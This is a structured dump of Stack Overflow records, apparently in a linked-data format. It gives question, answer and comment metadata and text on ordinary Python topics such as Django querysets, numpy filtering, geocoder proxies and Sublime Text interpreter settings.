has text: The first and second code-block do not match each other (LR vs. Ransac?). Furthermore we don't know your dataframe, but it seems you are doing multi-target regression (with or without your knowledge). Add some more specifics (if question still resides after interpretation of the latter)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80969997
comment on: http://stackoverflow.com/a/47011449
type: Comment
score: 0
type: AnswerComment
has text: Thanks Ashish and @jezrael

http://stackoverflow.com/q/47037427
accepted answer: http://stackoverflow.com/a/47037647
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47037647
tagged with: python
has title: Length of Django queryset result changes when coerced to a list
type: Question
tagged with: django-queryset
has body: I have a reasonably complex queryset thus, which rolls up data by isoweek: &gt;&gt;&gt; MyThing.objects.all().count() 30000 &gt;&gt;&gt; qs = MyThing.objects.all().order_by('date').annotate( dw=DateWeek('date'), # uses WEEK function dy=ExtractYear('date') ).values( 'dy','dw','group_id' ).annotate( sum_count=Sum('count') ).values_list('dw', 'dy', 'group_id', 'sum_count') &gt;&gt;&gt; qs.count() 2000 So far so good. The problem is when I coerce this queryset into a list: &gt;&gt;&gt; len(list(qs)) 30000 Why is this happening? How can I get the list of grouped values that the queryset purports to have when I count() it directly?
score: 1
answer count: 1
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/81021817
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/47057008
has body: A couple suggestions without fully understanding your code or the data it's running on. You can try sorting df_ according to the first column, then you can do smarter indexing based on the fact that identical keys will be next to each other. Depending on the data, the following code you use suggests an easier approach if dfq_.shape[0] &lt;=2 or dfq_[:,1].sum() != 1: cnt_nan += 1 continue This is filtering out any rows where the identifier occurs two times or less, and any row where the sum of columns one and two does not equal 1. If most of the data does not meet these conditions it will be much faster to filter the data according to these conditions, then process the remainder. The following pseudo-code gives a rough approach to the filtering vals, idx, count = unique(0.5+randint(2, size=10), return_counts=True, return_inverse=True) cond1 = (count[idx] &gt; 2) cond2 = (abs(sum(df_[:, 1:], axis=1) - 1) &lt; 1e-9) newdf = df_[cond1 &amp; cond2] Then process newdf the same way as df_
answers question: http://stackoverflow.com/q/47055201
score: 0
type: Answer

http://stackoverflow.com/comment/80968052
has text: Your code works for me just fine using Python 2.7.14.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46997184
type: QuestionComment

http://stackoverflow.com/q/47050135
favorite count: 0
type: Question
tagged with: python-3.x
has title: Python geocoder library: How to set proxy IP?
has comment: http://stackoverflow.com/comment/81048263
type: UnansweredQuestion
has body: I have using Python geocoder library for accessing coordinates. I could not find way to set proxy address for bulk accessing.
tagged with: python
has answer: http://stackoverflow.com/a/47050581
downvote count: 0
upvote count: 1
score: 1
tagged with: google-geocoder
answer count: 1

http://stackoverflow.com/comment/80833484
type: QuestionComment
comment on: http://stackoverflow.com/q/46941244
score: 0
has text: Markdown doesn't support anything like that. Such a feature would need to be a custom add-on. Pelican supports [plugins](https://github.com/getpelican/pelican-plugins) and Python-Markdown (the Markdown parser used by Pelican) supports [extensions](https://pythonhosted.org/Markdown/extensions/index.html). Perhaps there is a solution that works, but tool recommendations are off-topic here.
type: Comment

http://stackoverflow.com/a/46910420
has body: write this line : l.append([]) instead l[i] =[] when you write l[i] interpreter try to access l[0] but length of l is zero.
type: Answer
answers question: http://stackoverflow.com/q/46910359
score: 0

http://stackoverflow.com/q/46997427
tagged with: python
has body: I use sublime text 3 to code my python script in OSX. However, whenever I create a new python script using sublime text 3, it automatically created the file in Python2.7. But I want to use Python 3.6. This is really annoying and sabotaging my working progress... Is there any way to change the default path for Python in sublime text 3? Appreciated!!
has answer: http://stackoverflow.com/a/46997522
has answer: http://stackoverflow.com/a/63416020
linked to: http://stackoverflow.com/q/23730866
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/80941507
score: 0
has comment: http://stackoverflow.com/comment/80941448
tagged with: macos
has title: Change the default path to open Python3 in Sublime Text (OS X)
tagged with: sublimetext3
type: Question
tagged with: python-3.x
answer count: 2
type: UnansweredQuestion